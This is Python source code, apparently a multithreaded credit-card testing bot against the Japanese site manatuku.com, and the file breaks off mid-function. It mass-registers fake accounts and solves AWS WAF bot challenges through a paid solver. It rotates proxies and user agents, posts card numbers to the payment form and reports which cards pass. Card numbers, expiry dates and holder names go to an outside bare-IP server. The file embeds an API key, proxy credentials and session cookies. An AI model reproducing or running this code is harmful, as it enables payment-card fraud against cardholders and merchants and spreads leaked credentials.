import re
import time
import json
import random
import logging
import requests
import colorlog
import threading
from queue import Queue
from typing import Optional, Dict, Any, Tuple, List
import os
from utils.cvv_utils import *
from db.redis_server import redis_client

USER_AGENT = [
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
  "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36",
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0",
  "Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0",
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/91.0.0.0",
  "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/91.0.0.0"
]

log_colors_config = {
    'DEBUG': 'white',
    'INFO': 'green',
    'WARNING': 'yellow',
    'ERROR': 'red',
    'CRITICAL': 'bold_red',
}
logger = logging.getLogger('logger_name')
# 输出到控制台
console_handler = logging.StreamHandler()
logger.setLevel(logging.DEBUG)
console_handler.setLevel(logging.DEBUG)
console_formatter = colorlog.ColoredFormatter(
    # fmt='%(log_color)s[%(asctime)s.%(msecs)03d] %(filename)s -> %(funcName)s line:%(lineno)d [%(levelname)s] : %(message)s',
    fmt='%(log_color)s[%(asctime)s.%(msecs)03d] line:%(lineno)d [%(levelname)s] : %(message)s',
    datefmt='%Y-%m-%d  %H:%M:%S',
    log_colors=log_colors_config
)
console_handler.setFormatter(console_formatter)

if not logger.handlers:
    logger.addHandler(console_handler)
console_handler.close()

class Config:
    CAPSOLVER_API_KEY = "CAP-147149A8FD7E82B0A83BCD2E317C51AB2D5060780317C5C0488E4DBBFF596609"
    USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0"
    TIMEOUT = 30
    BASE_URL = "https://manatuku.com"



class ProxyManager:
    """代理池"""
    def __init__(self, proxy_list):
        self.proxy_list = proxy_list
        self.lock = threading.Lock()
        self.used_proxy = set()

    def get_random_proxy(self):
        """随机获取一个可用代理"""
        with self.lock:
            if len(self.proxy_list) == 1:
                return random.choice(self.proxy_list)
            else:
                available_proxy = [p for p in self.proxy_list if frozenset(p.items()) not in self.used_proxy]
                if not available_proxy:
                    return None
                proxy = random.choice(available_proxy)
                self.used_proxy.add(frozenset(proxy.items()))
                return proxy

    def loose_proxy(self, proxy):
        """释放代理"""
        with self.lock:
            proxy_frozen = frozenset(proxy.items())
            if proxy_frozen in self.used_proxy:
                logger.info(f"释放代理: {proxy['ip']}:{proxy['port']}")
                self.used_proxy.remove(proxy_frozen)

    def del_proxy(self, proxy):
        """删除代理"""
        with self.lock:
            if proxy in self.proxy_list:
                proxy_frozen = frozenset(proxy.items())
                if proxy_frozen in self.used_proxy:
                    logger.info(f'删除并释放代理: {proxy}')
                    self.used_proxy.remove(proxy_frozen)
                    self.proxy_list.remove(proxy)
                else:
                    logger.info(f'删除代理: {proxy}')
                    self.proxy_list.remove(proxy)

    def proxy_count(self):
        """获取可用代理数"""
        return len(self.proxy_list)



proxy_mgrs = ProxyManager([
        {'ip': '24fd2a4e70b435d6.xji.na.novada.pro24fd2a4e70b435d6.xji.na.novada.pro', 'port': '7777',
         'username': 'novada309zkB_ynaP3U-zone-resi-region-jp', 'password': 'wMiwCpuXV5he'}
    ])

class SessionManager:
    """session管理器"""
    def __init__(self, session_list):
        self.session_list = session_list
        self.lock = threading.Lock()
        self.used_sessions = set()

    def get_random_session(self):
        """随机获取一个可用session"""
        with self.lock:
            available_sessions = [
                s for s in self.session_list
                if s["id"] not in self.used_sessions
            ]
            if not available_sessions:
                return None

            session = random.choice(available_sessions)
            self.used_sessions.add(session["id"])
            return session

    def loose_session(self, session_id):
        """释放session供其他线程使用"""
        with self.lock:
            if session_id in self.used_sessions:
                self.used_sessions.remove(session_id)

    def add_session(self, session_id, session_value):
        """添加session"""
        with self.lock:
            # 检查是否已存在相同id的session
            if any(s["id"] == session_id for s in self.session_list):
                return False

            self.session_list.append({"id": session_id, "session": session_value})
            return True

    def update_session(self, session_id, new_session_value):
        """更新指定session的值"""
        with self.lock:
            for session in self.session_list:
                if session["id"] == session_id:
                    session["session"] = new_session_value
                    return True
            return False

    def del_session(self, session_id):
        """删除session"""
        with self.lock:
            for i, session in enumerate(self.session_list):
                if session["id"] == session_id:
                    if session_id in self.used_sessions:
                        self.used_sessions.remove(session_id)
                    self.session_list.pop(i)
                    return True
            return False

    def session_count(self):
        """获取可用session数"""
        return len(self.session_list)

    def get_session_by_id(self, session_id):
        """根据ID获取session值"""
        with self.lock:
            for session in self.session_list:
                if session["id"] == session_id:
                    return session["session"]
            return None


# session_mgrs = SessionManager([ {"id": "session1", "session": "GMGZEMEY5bktOaU5IUXpNSmViWFFsSVh6cWhHNkVrTTl1bXE2TTFqRktsNW9YMXE0azV1Zlk5K3M1KzhWWnJidjBoNGJvcEc1c0xIN09hU2dsVThob3U1R1dXOFJWUUlBUFRLT0VDZFlEZEVTbnlVeE43MnJwSVF5RURkZ3IwWXdVMFpHR2ZLZHhzZEhKRmx6ZUZSN2xWVDNRd0pSM2dzMTB6RHVQT0g2QnRmZHR5c0dUUDh1MFEzRkhpc05rRGxrQkFXRFV4K1ZoU05yMENzYjI3TDAveldubVFGanlmZXBBR0hwVlVGV1MxV0haMi82b2Q5ejRaSjhCd2NESW9QU3BjTlF5WlhYQlhlTkp6dGR2MEJlZXNGSzYvWlVoell2VUlaR0hwYTdZSFZQV0dUaUhMWlNpdWltTWZGQm0yRnN4Y3ZTMU9SSElzbkxvc0RrTmxPQ2JoQ3o3bTMrT3JnUlNFTXBUKzVoMDEwZXZrU0crMUNjT2FRUTJkLS1LRmx6cFBVVFhNbjMwZ1VqblJ3c3NBPT0%3D--88c238dab647a27406886c9a7dcc6415e3246665"},
#         {"id": "session2", "session": "OXpxV1N3QzhPc0tIeVhqQ3BBTm1zMWtzZ05DTXlneDdKR2dwR1NZTlNvU2VMbXVVNEVMUDE4VlUvTnFzc2xHVitJV0cvcEhOTzNnUEJPYldNeUZ5WDRmcnpmWGtLdVFBT1NZbFFteXVaU0V6anNwN0phQ0ROd3dCa1FtbzF4NVpRd1RHNWVGOEo2d2crcjdpSEJzdWdPUFJqMUtPM1BKVHJMYy9wbkh6OWVvWkF2UnhKdy80TGM5My9CRE5qZ0s2L1lIK1UxcVFDM2xlYy9zTzdzL3ZmbFU5QnlxRjFodlRVWmlYNkh0TVRGUHl2QnY0a1BiWldaT013bHBha1AwaFZXZWxwRUJ4UUVyQWFTei9CWVNvWGc9PS0tNHlxRzVWZ0FXKzB4c1VuS3diSThFZz09--8429f64ae794824ce8355bd6be71a5bfd2e9a740"},
#         # {"id": "session3", "session": "RXhaSHFFWG1QOWliRTZZSElMRXpBL0NwM3lpbGk3MzRmQUhCNytXLzR6RVIrcW9SelhBNnVJZXVPQno1Q0xaUVlFTGhuUU9wcnVPekN1eHZnZGI3NFZzMzFKSVhmQjRUekdBeTZKOEZHWG1Nb1E4Umg4SWRTamFGZXB2ZnJUa0dRdHRLSEZVUHFvcytjeGFwQ0VtWTUwOXV1TC9VNnE4Uy8za1c4UDFKS2dYS2JjZnl3M2prWEVNaTVoakNoWktqNFZhT3p1QkFaMkNXM3pEK3kweWVibzNuMk5aVkpYL2hOSmg0Z01ucjQ3MkpsMHJ6UFpGSC8xMGpDQTdzU2tHaDI5c09LS0tERTZpcGwvbkRZRTRRUTZpLzFZaE9oeTJFRDhlSkdyNXJPdHdaMnV3Nk85N2xYUkdOeEFmSjdjVmtmdjlUTTF4K085UmhvWFczMEdKME5VMUZFMVhZM2dKMmU0dXh3S2liYXYzQ1IvTFJZTTJUQi90NDR6RUN4ME9rLS1IZ1VOaHBaTDNjUGdGSTR5eXYvMGNBPT0%3D--9314d6ef66d4990ddc9f33a425637c3dedaf6aa9"},
#         # {"id": "session4", "session": "V1hMSFlJL3B2QW5maGpMYWdnUVhyb2dmMkloc3pCWkF6am5GbDRpVVJDTmdWUEdqdHN2Snk4MUg4ZWo3Z2YxRVk3eTZjZ2FPOTlMMUJWM3ZiaGRvTjFYRTA5cWI3WXEwZkthRE5Ha3Y4dDlFcGtFRlRCY0lBeTFhdFd6NlNVUkpPSXJZWHJNSlRjcXZGNnVabmNwaUNyc3d3MHI4SDN6YUhRUVNPbTB3SVRMeUFiV1NTTUJrS2FQMThldEorT05wOG1UQnhGVGRON3RUdE1xMy9GQ0tiNzRJbG9QbnJ5QS8vK05KWjBFeUhZc2JVak1Qd0FhZFJDcnVLdjRYU1YyWjNHMWtKRVY4NGQ0K2pmVFh0SU10ekMrYkhrWkYyN0dQaGE2Z29jNlNzTVNGMEg0Wjcrc0kxYjBwOW5iTXRBYjllNW1wSlFxbnJmZ1dWMzZzcjFaMDN0UzM2a3pVYVhMV3M4Q2lLYW43YmJkdTdRdkx5aEcvWDZSTW45OS8wRmVHLS01NFZQUHp4VUZtUTNmaTlUWW83Q2FRPT0%3D--5e6795e541dae04ef4b11973bfa9dab2321495d1"},
# ])

session_mgrs = SessionManager([])

class BaseRequestHandler:
    @staticmethod
    def make_request(
            url: str,
            method: str = "GET",
            headers: Optional[Dict[str, str]] = None,
            cookies: Optional[Dict[str, str]] = None,
            data: Optional[Dict[str, str]] = None,
            proxies: Optional[Dict[str, str]] = None,
            timeout: int = Config.TIMEOUT,
    ) -> Optional[requests.Response]:
        """统一的HTTP请求处理方法"""
        default_headers = {
            "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
            "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
            "user-agent": random.choice(USER_AGENT),
        }

        if headers:
            default_headers.update(headers)

        kwargs = {
            "url": url,
            "headers": default_headers,
            "cookies": cookies,
            "timeout": timeout,
            "proxies": proxies or {},
            "allow_redirects": False
        }
        if data:
            kwargs["data"] = data
        max_retries = 3  # 最大重试次数
        retry_count = 0
        last_exception = ''
        while retry_count <= max_retries:
            try:
                response = requests.request(method, **kwargs)
                # print(response.request.headers)
                # print(response.headers)
                response.raise_for_status()
                return response
            except requests.exceptions.SSLError as e:
                retry_count += 1
                last_exception = e
                logger.warning(f"SSL错误（尝试 {retry_count}/{max_retries}）[{url}]: {str(e)}")
            except requests.exceptions.ProxyError as e:
                retry_count += 1
                last_exception = e
                logger.warning(f"代理连接错误（尝试 {retry_count}/{max_retries}）[{url}]: {str(e)}")
            except requests.exceptions.ConnectionError as e:
                retry_count += 1
                last_exception = e
                logger.warning(f"连接错误（尝试 {retry_count}/{max_retries}）[{url}]: {str(e)}")
            except requests.exceptions.RequestException as e:
                logger.error(f"请求失败（不重试）[{url}]: {str(e)}")
                return None
            except Exception as e:
                last_exception = e
                logger.error(f'请求错误（不重试）[{url}]: {str(e)}')
            if retry_count <= max_retries:
                time.sleep(1 * retry_count)
        logger.error(f"请求最终失败（已达最大重试次数）[{url}]: 上次失败：{str(last_exception)}")
        return None


class ManatSuku:
    def __init__(self, manatsuku_session: str = "", aws_waf_token: str = ""):
        self.manatsuku_session = manatsuku_session
        self.aws_waf_token = aws_waf_token
        self.gmo_payment_token = ""
        self.card_company = ""
        self.holder_name = ""
        self.card_number = ""
        self.expire = ""
        self.proxies = {}
        self.log_tab = ''

    def set_log_tab(self, log_tab):
        self.log_tab = log_tab

    def logger(self, Type, message, **kwargs):
        if Type == "info":
            return logger.info(self.log_tab + message, **kwargs)
        elif Type == "error":
            return logger.error(self.log_tab + message, **kwargs)
        elif Type == "warning":
            return logger.warning(self.log_tab + message, **kwargs)
        elif Type == "debug":
            return logger.debug(self.log_tab + message, **kwargs)
        elif Type == "critical":
            return logger.critical(self.log_tab + message, **kwargs)
        else:
            return logger.debug(self.log_tab + f'{Type}' +message, **kwargs)

    def set_proxies(self, ip: str, port: str, username: str = "", password: str = "") -> None:
        """设置代理"""
        auth_part = f"{username}:{password}@" if username and password else ""
        proxy_url = f"http://{auth_part}{ip}:{port}"
        self.proxies = {"http": proxy_url, "https": proxy_url}

    def get_home_page(self) -> Optional[requests.Response]:
        """获取绑定页面"""
        headers = {
            "referer": f"{Config.BASE_URL}/",
            "cache-control": "no-cache",
            "pragma": "no-cache",
        }
        cookies = {
            "_manatsuku_session": self.manatsuku_session,
            "aws-waf-token": self.aws_waf_token
        }
        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/payments/new",
            headers=headers,
            cookies=cookies,
            proxies=self.proxies
        )

    def get_new(self) -> Optional[requests.Response]:
        """获取绑定页面"""
        headers = {
            "referer": f"{Config.BASE_URL}/payments/new",
            "cache-control": "no-cache",
            "pragma": "no-cache",
        }
        cookies = {
            "_manatsuku_session": self.manatsuku_session,
            "aws-waf-token": self.aws_waf_token
        }
        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/payments/new",
            headers=headers,
            cookies=cookies,
            proxies=self.proxies
        )

    def get_sign_up(self) -> Optional[requests.Response]:
        """获取注册页面"""
        cookies = {}
        if self.manatsuku_session:
            cookies["_manatsuku_session"] = self.manatsuku_session
        if self.aws_waf_token:
            cookies["aws-waf-token"] = self.aws_waf_token

        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/customers/sign_up",
            cookies=cookies,
            proxies=self.proxies
        )

    def submit_payment(self, authenticity_token: str) -> Optional[requests.Response]:
        """提交绑定"""
        # headers = {
        #     "referer": f"{Config.BASE_URL}/payments/new",
        #     "content-type": "application/x-www-form-urlencoded",
        #     "origin": random.choice(USER_AGENT),
        # }
        headers = {
            'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
            'cache-control': 'no-cache',
            'content-type': 'application/x-www-form-urlencoded',
            'origin': 'https://manatuku.com',
            'pragma': 'no-cache',
            'priority': 'u=0, i',
            'referer': f"{Config.BASE_URL}/payments/new",
            'user-agent': random.choice(USER_AGENT),
        }
        data = {
            "utf8": "✓",
            "authenticity_token": authenticity_token,
            "payment_credit_card[type]": "Payment::CreditCard",
            "payment_credit_card[card_company]": self.card_company,
            "payment_credit_card[card_number]": self.card_number,
            "payment_credit_card[holder_name]": self.holder_name,
            "payment_credit_card[gmo_payment_token]": self.gmo_payment_token,
        }

        cookies = {
            "aws-waf-token": self.aws_waf_token,
            "_manatsuku_session": self.manatsuku_session,
        }

        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/payments",
            method="POST",
            headers=headers,
            cookies=cookies,
            data=data,
            proxies=self.proxies
        )

    def register_customer(
            self,
            authenticity_token: str,
            lastname: str,
            firstname: str,
            email: str,
            password: str
    ) -> Optional[requests.Response]:
        """注册"""
        headers = {
            "content-type": "application/x-www-form-urlencoded",
            "origin": Config.BASE_URL,
            "referer": f"{Config.BASE_URL}/customers",
        }

        data = {
            "utf8": "✓",
            "authenticity_token": authenticity_token,
            "customer[firstkana]": "",
            "customer[lastkana]": "",
            "customer[notification_mail_subscription]": "1",
            "customer[i_am_bot]": "",
            "customer[lastname]": lastname,
            "customer[firstname]": firstname,
            "customer[email]": email,
            "customer[password]": password,
        }

        cookies = {
            "_manatsuku_session": self.manatsuku_session,
            "aws-waf-token": self.aws_waf_token,
        }

        return BaseRequestHandler.make_request(
            f"{Config.BASE_URL}/customers",
            method="POST",
            headers=headers,
            cookies=cookies,
            data=data,
            proxies=self.proxies
        )

    def set_gmo_payment(self, card_number: str, holder_name: str, expire: str, card_company: str) -> bool:
        """设置GMO支付信息"""
        self.card_number = card_number
        self.holder_name = holder_name
        self.card_company = card_company
        self.expire = expire

        self.gmo_payment_token = self._get_gmo_token()
        return bool(self.gmo_payment_token)

    def _get_gmo_token(self) -> Optional[str]:
        """获取GMO令牌"""
        params = {
            "cardno": self.card_number,
            "expire": self.expire,
            "holdername": self.holder_name,
        }

        try:
            response = requests.get(
                "http://121.36.223.161:8000/get_token",
                params=params,
                timeout=Config.TIMEOUT
            )
            response.raise_for_status()
            result = response.json()
            url = result.get("url")

            if not url:
                self.logger('error', "获取令牌URL失败")
                return None

            token_data = self._get_token_from_url(url)
            return token_data.get("tokenObject", {}).get("token") if token_data else None

        except requests.exceptions.RequestException as e:
            self.logger('error',f"获取GMO令牌失败: {e}")
            return None

    def _get_token_from_url(self, url: str) -> Optional[Dict[str, Any]]:
        """从URL获取令牌"""
        try:
            max_retries = 3
            retry_count = 0
            last_exception = None

            while retry_count < max_retries:
                try:
                    response = requests.get(
                        url,
                        timeout=Config.TIMEOUT,
                        proxies=self.proxies #添加代理
                    )
                    response.raise_for_status()
                    content = response.text.strip()
                    pattern = r'confirmToken\(({.*})\)'
                    match = re.match(pattern, content)
                    if match:
                        return json.loads(match.group(1))
                    self.logger('info', content)
                    self.logger('error', "响应格式不匹配")
                    return None
                except requests.exceptions.SSLError as e:
                    retry_count += 1
                    last_exception = e
                    self.logger('warning', f"URL获取令牌失败: SSL错误（尝试 {retry_count}/{max_retries}）[{url}]: {str(e)}")
                except requests.exceptions.ProxyError as e:
                    retry_count += 1
                    last_exception = e
                    self.logger('warning', f"URL获取令牌失败: 代理连接错误（尝试 {retry_count}/{max_retries}）[{url}]: {str(e)}")
                except requests.exceptions.ConnectionError as e:
                    retry_count += 1
                    last_exception = e
                    self.logger('warning', f"URL获取令牌失败: 连接错误（尝试 {retry_count}/{max_retries}）[{url}]: {str(e)}")
                except requests.exceptions.RequestException as e:
                    self.logger('error', f"URL获取令牌失败: 请求失败（不重试）[{url}]: {str(e)}")
                    return None
                except Exception as e:
                    last_exception = e
                    self.logger('error', f'URL获取令牌失败: 请求错误（不重试）[{url}]: {str(e)}')
                    return None
            self.logger('error', f"URL获取令牌失败: 请求失败（重试{max_retries}次后）[{url}]: {str(last_exception)}")
            return None
        except json.JSONDecodeError as e:
            self.logger('error', f"URL获取令牌失败: JSON解析错误: {e}")
            return None

    def _handle_captcha_challenge(self, response_text: str, original_url: str) -> Optional[str]:
        """处理验证码"""
        self.logger('info', "检测到验证码")

        challenge_url = re.search(r'src="(https?://[^"]*challenge\.js)"', response_text)
        key = re.search(r'"key":"([^"]*)"', response_text)
        iv = re.search(r'"iv":"([^"]*)"', response_text)
        context = re.search(r'"context":"([^"]*)"', response_text)

        if not all([challenge_url, key, iv, context]):
            self.logger('error', "提取验证码参数失败")
            return None

        challenge_url = challenge_url.group(1)
        key = key.group(1)
        iv = iv.group(1)
        context = context.group(1)

        try:
            self.logger('info', "正在处理验证码...")
            start_time = time.time()

            result = self._solve_aws_waf(
                original_url,
                challenge_url,
                key,
                iv,
                context
            )

            if result:
                elapsed_time = time.time() - start_time
                self.logger('info', f"验证码处理耗时: {elapsed_time:.2f}秒")
                return result

            self.logger('error', "验证码处理失败")
            return None

        except TimeoutError as e:
            self.logger('error', "验证码处理超时")
            return None

    def _solve_aws_waf(self, site_url: str, challenge: str, aws_key: str = "", aws_iv: str = "", aws_context: str = "", proxy: str = "") -> Optional[str]:
        """使用Capsolver处理AWS WAF验证"""
        payload = {
            "clientKey": Config.CAPSOLVER_API_KEY,
            "appId": "E357579C-9B44-4ACB-84C4-7B6B0B0354AB",
            "task": {
                "type": "AntiAwsWafTaskProxyLess",
                "websiteURL": site_url,
                "awsChallengeJS": challenge,
                "awsKey": aws_key,
                "awsIv": aws_iv,
                "proxy": proxy,
                "awsContext": aws_context,
            }
        }
        max_retries = 3
        retry_count = 0
        try:
            # 创建任务
            create_res = requests.post(
                "https://api.capsolver.com/createTask",
                json=payload,
                proxies=self.proxies,
                timeout=Config.TIMEOUT
            )
            create_res.raise_for_status()
            task_data = create_res.json()
            task_id = task_data.get("taskId")

            if not task_id:
                self.logger('error',f"创建任务失败:{create_res.text}")
                return self._solve_aws_waf(site_url, challenge, aws_key, aws_iv, aws_context, proxy)
            self.logger('info', f"任务已创建: {task_id}. 等待平台返回...")
            while True:
                time.sleep(1)
                get_payload = {"clientKey": Config.CAPSOLVER_API_KEY, "taskId": task_id}

                get_res = requests.post(
                    "https://api.capsolver.com/getTaskResult",
                    json=get_payload,
                    proxies=self.proxies,
                    timeout=Config.TIMEOUT
                )
                get_res.raise_for_status()
                result_data = get_res.json()

                if result_data.get("status") == "ready":
                    return result_data.get("solution", {}).get("cookie")

                if result_data.get("status") == "failed" or result_data.get("errorId"):
                    self.logger('error', f"任务失败:{get_res.text}")
                    return None
        except requests.exceptions.SSLError as e:
            retry_count += 1
            self.logger('warning', f"处理AWS WAF时出错:（尝试 {retry_count}/{max_retries}）: {str(e)}")
        except requests.exceptions.ProxyError as e:
            retry_count += 1
            self.logger('warning', f"处理AWS WAF时出错:（尝试 {retry_count}/{max_retries}）: {str(e)}")
        except requests.exceptions.ConnectionError as e:
            retry_count += 1
            self.logger('warning', f"处理AWS WAF时出错:（尝试 {retry_count}/{max_retries}）: {str(e)}")
        except requests.exceptions.RequestException as e:
            self.logger('error', f"处理AWS WAF时出错: {e}")
            return None

    def process_response(self, response: requests.Response) -> Optional[str]:
        """处理响应，获取session和token"""
        set_cookie = response.headers.get("set-cookie", "")

        if not set_cookie:
            self.logger('error', "响应中未找到cookie")
            return None

        session_match = re.search(r"_manatsuku_session=([^;]+)", set_cookie)

        if session_match:
            self.manatsuku_session = session_match.group(1)
            self.logger('debug', f"更新session: {self.manatsuku_session}")
            session_mgrs.add_session(generate_random_string(), self.manatsuku_session)
        else:
            self.logger('debug', "cookie中未找到session")

        # 返回响应文本供进一步处理
        return response.text

    def get_authenticity_token(self, html_text: str) -> Optional[str]:
        """从HTML中提取authenticity_token"""
        token_match = re.search(
            r'<input type="hidden" name="authenticity_token" value="([^"]+)"',
            html_text
        )

        if token_match:
            token = token_match.group(1)
            self.logger('info', f"获取到authenticity_token: {token}")
            return token

        self.logger('error', "提取authenticity_token失败")
        return None

    def check_error_page(self, html_text: str) -> Optional[str]:
        """检查错误页面"""
        if "error_explanation" not in html_text:
            self.logger('info', "未检测到错误")
            return None

        error_match = re.search(
            r'<div id="error_explanation">(.*?)</div>',
            html_text,
            re.DOTALL
        )

        if error_match:
            error_message = error_match.group(1).strip()
            self.logger('error', f"检测到错误: {error_message}")
            return error_message

        self.logger('info', "发现错误说明但未能提取消息")
        return None

    def process_payment_result(self, response: requests.Response) -> bool:
        """处理绑定结果"""
        html_text = self.process_response(response)

        if not html_text:
            return False

        if "error_explanation" in html_text:
            error_match = re.search(
                r'<ul id=[\'"]error_explanation[\'"]>\s*<li>([^<]+)</li>\s*</ul>',
                html_text,
                re.DOTALL
            )
            if error_match:
                error_message = error_match.group(1).strip()
                self.logger('error', f"验证失败: {error_message}")
                return False
            else:
                self.logger('info', "发现错误说明但未能提取消息")
                return False
        else:
            self.logger('info', "验证成功")
            # self.logger('debug', html_text)
            return True



    def process_registration_result(self, response: requests.Response) -> Optional[str]:
        """处理注册结果"""
        html_text = self.process_response(response)

        if not html_text:
            return None

        if self.check_error_page(html_text):
            return None

        self.logger('info', "注册成功")
        return self.manatsuku_session

    def main_payment_flow(self) -> bool:
        """主要绑定流程"""
        start_time = time.time()
        new_page = self.get_new()
        if not new_page:
            self.logger('error', "获取绑定页面失败")
            return False
        self.logger('debug', f"状态码: {new_page.status_code}")

        # 检查验证码
        if "JavaScript is disabled" in new_page.text:
            captcha_result = self._handle_captcha_challenge(
                new_page.text,
                f"{Config.BASE_URL}/payments/new"
            )

            if not captcha_result:
                self.logger('error', "验证码处理失败")
                return False

            self.aws_waf_token = captcha_result
            self.logger('info', "验证码处理后重试...")
            return self.main_payment_flow()
        elif new_page.status_code == 403:
            return self.main_payment_flow()

        # 处理正常响应
        html_text = self.process_response(new_page)
        if 'https://manatuku.com/customers/sign_in' in html_text:
            self.logger('error', f"状态：未登录(session可能失效)")
            first_name = NameGenerator.random_first_name()
            last_name = NameGenerator.random_last_name()
            email = EmailGenerator.generate()
            passwd = generate_random_string()
            register_session = main_register(
                os.getenv("PROXY_IP"),
                os.getenv("PROXY_PORT"),
                last_name,
                first_name,
                email,
                passwd,
                os.getenv("PROXY_USERNAME"),
                os.getenv("PROXY_PASSWORD")
            )
            self.manatsuku_session = register_session
            to_ascii_upper = CardNameFormatter.jp_to_ascii_upper(f"{last_name}{first_name}")
            session_mgrs.add_session(to_ascii_upper,register_session)
            return self.main_payment_flow()

        authenticity_token = self.get_authenticity_token(html_text)

        if not authenticity_token:
            return False

        payment_response = self.submit_payment(authenticity_token)

        if not payment_response:
            return False
        result = self.process_payment_result(payment_response)

        elapsed_time = time.time() - start_time
        self.logger('info', f"验证流程完成，耗时 {elapsed_time:.2f} 秒")

        return result

    def main_registration_flow(self, lastname: str, firstname: str, email: str, password: str ) -> Optional[str]:
        """主要注册流程"""
        start_time = time.time()
        sign_up_page = self.get_sign_up()
        if not sign_up_page:
            self.logger('error', "获取注册页面失败")
            return None

        self.logger('debug', f"初始页面状态码: {sign_up_page.status_code}")
        if "JavaScript is disabled" in sign_up_page.text:
            captcha_result = self._handle_captcha_challenge(
                sign_up_page.text,
                f"{Config.BASE_URL}/customers/sign_up"
            )

            if not captcha_result:
                self.logger('error', "验证码处理失败")
                return None

            self.aws_waf_token = captcha_result
            self.logger('info', "验证码处理后重试...")
            return self.main_registration_flow(lastname, firstname, email, password)

        html_text = self.process_response(sign_up_page)
        if not html_text:
            return None
        authenticity_token = self.get_authenticity_token(html_text)
        if not authenticity_token:
            return None
        # 提交注册
        registration_response = self.register_customer(
            authenticity_token,
            lastname,
            firstname,
            email,
            password
        )
        if not registration_response:
            return None
        result = self.process_registration_result(registration_response)
        elapsed_time = time.time() - start_time
        self.logger('info', f"注册流程完成，耗时 {elapsed_time:.2f} 秒")

        return result

    def validate_expire_date(self, expire: str) -> Optional[str]:
        """验证并格式化过期日期"""
        if not re.fullmatch(r"\d{6}", expire):
            self.logger('error', "错误: 过期日期必须是6位数字")
            return None

        if expire[:2] == "20":
            year, month = expire[:4], expire[4:]
        elif expire[2:4] == "20":
            month, year = expire[:2], expire[2:6]
        else:
            self.logger('error', "错误: 过期日期格式不合法 - 必须包含四位年份")
            return None

        # 验证月份
        if not 1 <= int(month) <= 12:
            self.logger('error', f"错误: 月份 {month} 不合法（必须是01-12）")
            return None

        # 验证年份
        current_year = time.localtime().tm_year
        if not 2000 <= int(year) <= current_year + 20:
            self.logger('error', f"错误: 年份 {year} 不合法（必须是2000-{current_year + 20}）")
            return None

        # 验证是否已过期
        current_month = time.localtime().tm_mon
        if int(year) == current_year and int(month) < current_month:
            self.logger('error', f"错误: 信用卡已于 {year}年{month}月 过期")
            return None

        # 返回格式化后的日期 (YYYYMM)
        return f"{year}{month.zfill(2)}"


class PaymentWorker(threading.Thread):
    """验证线程"""
    def __init__(self, task_queue, result_queue, user_id,filename,jp_name,thread_id):
        threading.Thread.__init__(self)
        self.task_queue = task_queue
        self.result_queue = result_queue
        self.user_id = user_id
        self.filename = filename
        self.jp_name = jp_name
        self.thread_id = thread_id
        self.current_proxy = None
        self.daemon = True

    def _log(self, level, msg, *args, **kwargs):
        """统一添加线程前缀的日志方法"""
        prefix = f"[线程 {self.thread_id}]"
        getattr(logger, level)(f"{prefix} {msg}", *args, **kwargs)

    def run(self):
        while True:
            task = None
            try:
                task = self.task_queue.get()
                if task is None:
                    self._log('debug', "接收到终止信号，退出线程")
                    break
                card_data = task

                card_number = "".join(card_data['number'])
                holder_name = self.jp_name
                expire = card_data['month'] +  card_data['year']
                card_company = card_data["card_type"]
                session_info = None

                log_tab = f"[线程 {self.thread_id}]"

                try:
                    self._log('info', f"开始处理卡号: {card_number}")
                    session_info = session_mgrs.get_random_session()
                    proxy = proxy_mgrs.get_random_proxy()

                    if not session_info:
                        first_name = NameGenerator.random_first_name()
                        last_name = NameGenerator.random_last_name()
                        email = EmailGenerator.generate()
                        passwd = generate_random_string()
                        register_session = main_register(
                            os.getenv("PROXY_IP"),
                            os.getenv("PROXY_PORT"),
                            last_name,
                            first_name,
                            email,
                            passwd,
                            os.getenv("PROXY_USERNAME"),
                            os.getenv("PROXY_PASSWORD")
                        )
                        new_name = CardNameFormatter.jp_to_ascii_upper(f"{first_name}{last_name}")
                        if register_session:
                            logger.info(f"注册成功，获取到的session token: {register_session}")
                            session_mgrs.add_session(new_name, register_session)
                            session_info = session_mgrs.get_random_session()
                            holder_name = new_name
                        else:
